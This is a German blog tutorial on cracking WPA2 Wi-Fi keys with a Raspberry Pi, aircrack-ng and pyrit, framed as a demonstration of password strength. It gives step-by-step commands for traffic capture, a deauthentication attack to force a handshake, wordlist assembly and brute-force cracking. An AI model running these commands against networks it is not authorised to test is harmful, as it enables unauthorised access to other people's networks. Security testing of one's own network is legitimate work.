WLAN (WPA2, WEP) knacken

Eines vorweg: Das WLAN des Nachbarn oder anderen zu knacken ist illegal! Es geht in diesem Artikel nur darum,

die Sicherheit des Systems aufzuzeigen und die damit verbundenen Gefahren hinzuweisen.

 

Fr√ľher wurden WLANs mit der WEP Verschl√ľsselung abgesichert. Diese l√§sst sich in wenigen Sekunden aushebeln und

ist somit nicht mehr sicher. Heutige Netze sind mindestens mit WPA2 gesichert. Hier ist es nicht mehr so einfach und

man ist auf das probieren der Kennw√∂rter angewiesen. Wird also ein Schl√ľssel verwendet, der nicht in einer Passwortliste

zu finden ist und der entsprechend komplex ist, ist der WLAN Betreiber ziemlich sicher. 

 

Mein Setup:

Raspberry PI 2 

ALFA AWUS USB WLAN Adapter

 

Vorraussetzung:

Fertig installiertes Raspian auf dem PI

 

Installation Aircrack-ng

Show/Hidden bash code

View source
 
 
apt-get update
 
apt-get install aircrack-ng pyrit unp
 
 
  

Monitormode der Wlankarte (bei mir wlan0) starten.

Show/Hidden bash code

View source
 
 
 
airmon-ng start wlan0
 
 
 
  

Wlans finden

Show/Hidden bash code

View source
 
 
 
airodump-ng mon0
 
 
 
  

Nun sucht man sich sein eigenes Test-Wlan heraus. F√ľr den Test k√∂nnte man auch einen einfachen Schl√ľssel verwenden (z.B. 1234567890).

Benötigt wird die Mac-Adresse und der Kanal. Diese sind im Code zu ersetzen.

Show/Hidden bash code

View source
 
 
 
airodump-ng --channel 1 --bssid 00:11:22:33:44:55 --write wpa2-dump mon0
 
 
 
 
Jetzt kommt der wichtig Teil. Um den Key erraten zu können, benötigt man einen so genannten Handshake. 

Man könnte nun einfach warten, bis sich ein neues Gerät mit dem WLAN verbindet, eines trennen und wieder verbinden, oder es auf die "harte Tour" machen ;)

Daf√ľr einfach eine zweite Konsole √∂ffnen und das eintippen. Wichtig auch hier wieder die MAC ersetzen.

Show/Hidden bash code

View source
 
 
 
aireplay-ng --deauth 5 -a 00:11:22:33:44:55 mon0
 
 
 
Auf der ersten Konsole wird von airmon auch direkt angezeigt wenn ein Handshake zu Stande kam.

Man könnte nun einfach warten, bis sich ein neues Gerät mit dem WLAN verbindet, eines trennen und wieder verbinden, oder es auf die "harte Tour" machen ;)

Daf√ľr einfach eine zweite Konsole √∂ffnen und das eintippen. Wichtig auch hier wieder die MAC ersetzen.

Ist das geschafft gehts weiter.

Show/Hidden bash code

View source
 
 
 
STRG+C
airmon-ng stop mon0
 
 
 
 
Jetzt geht es mit pyrit weiter. Hier werden die Pakete auf die Handshakes reduziert.

Show/Hidden bash code

View source
 
 
 
pyrit -r wpa2-dump-01.cap -o handshakes.cap strip
 
 
 
Nun ben√∂tigen wir eine Passwortliste. Ich habe ein Script gebaut, welches diese zusammenstellen kann. Dieses einfach in eine neue Datei einf√ľgen (vim) und ausf√ľhrbar (chmod +x) machen.

Show/Hidden bash code

View source
 
 
 
#!/bin/bash
 
cd /home/pi
 
mkdir passwords && cd passwords
 
git init
 
git remote add -f origin https://github.com/danielmiessler/SecLists.git
 
git config core.sparseCheckout true
 
echo "Passwords/" >> .git/info/sparse-checkout
 
git pull origin master
 
mv /home/pi/passwords/Passwords/* /home/pi/passwords
 
rmdir /home/pi/passwords/Passwords
 
cd /home/pi/passwords
 
unp *
 
tar cvfz pwdb.tar.gz *
 
mv pwdb.tar.gz /home/pi/
 
rm -r /home/pi/passwords
 
echo "Passwords stored at /home/pi/passwords"
 
 
 
 
Jetzt ist unser Passwortdatenbank vorhanden und es geht los mit der Brute force Attacke.
Das kann sehr lange dauern und ich empfehle das ausf√ľhren in einem Screen.

Show/Hidden bash code

View source
 
 
 
pyrit -r handshakes.cap -i /home/pi/pwdb.tar.gz attack_passthrough
 
 
 
Etwa 25 Kaffee später sollte dann im Idealfall folgendes zu lesen sein:

Show/Hidden bash code

View source
 
 
 
The password is '1234567890'.
 
 
 
 
Aus dem ganzen Beispiel hier kann man erkennen, dass die Sicherheit hier mit dem verwendeten WLAN Kennwort steht und fällt.
Wird ein Schl√ľssel benutzt, der nicht in der Liste vorhanden ist, so kann der Schl√ľssel auch nicht geknackt werden.
Ich empfehle also immer einen Schl√ľssel zu erzeugen der aus mehr als nur Buchstaben und Zahlen besteht.
Ein Generator ist daf√ľr zu empfehlen.
Die Verwendung von einem Gaming PC statt eines PIs zum knacken des Schl√ľssels mit pyrit macht au√üerdem einen gewaltigen Zeitunterschied aus,
da die Grafikkarte verwendet werden kann. Diese ist wesentlich schneller als die CPU des PIs. 
 
Mit dem Tool "crunch" können Passwortlisten mit allen möglichen Zeichenkombinationen erzeugt werden.
6 bedeutet minimal 6 Zeichen, 10 = maximal 10 Zeichen. Dann folgen alle zu verwendeten Zeichen. Ich habe einmal angenommen,
das Passwort w√ľrde nur aus Zahlen und kleinbuchstaben bestehen. Die Ausgabe erfolgt in die crunch.txt. Diese kann f√ľr pyrit verwendet werden.

Show/Hidden bash code

View source
 
 
 
crunch 6 10 1234567890abcdefghijklmopqrstuvwxyz -o crunch.txt
 
 
 
 
 
Jetzt zum Haken an der Sache: 
 
Show/Hidden bash code
View source
 
Crunch will now generate the following amount of data: 31152971736140625 bytes
 
29709789024 MB
 
29013465 GB
 
28333 TB
 
27 PB
 
Crunch will now generate the following number of lines: 2839681045140625
 
 

Leider wäre die Passwortdatenbank die dabei raus kommt so groß, dass ich sie nicht speichern könnte. 

Dem Problem mit der Dateigröße kann man zwar noch Herr werden...

Show/Hidden bash code

View source
 
 
crunch 16 16 1234567890abcdefghijklmopqrstuvwxyz | pyrit -r handshakes.cap -b XX:XX: -i - attack_passthrough
 
 

...aber bedenkt man, dass in den Zeichen nicht einmal Gro√übuchstaben ber√ľcksichtig werden,

dann h√§tte ich immer noch das Problem, dass die Bruteforceattacke wohl nicht mehr in diesem Leben fertig w√ľrde.¬†

Zumindest nach aktuellen mir zur Verf√ľgung stehender Rechenleistung.

Au√üerdem ist davon auszugehen, dass die meisten WLAN Keys wohl eher aus mehr Stellen bestehen w√ľrden.

Auch das zeigt mir, dass das WLAN relativ sicher ist, solange man einen Schl√ľssel verwendet, der aus zuf√§lligen Zeichen besteht.

 

Dir hat das Projekt gefallen? Dann¬†Unterst√ľtze mich, damit ich weiterhin solche Projekte vorstellen kann!¬†

Kommentar schreiben

Sicherheitscode
Aktualisieren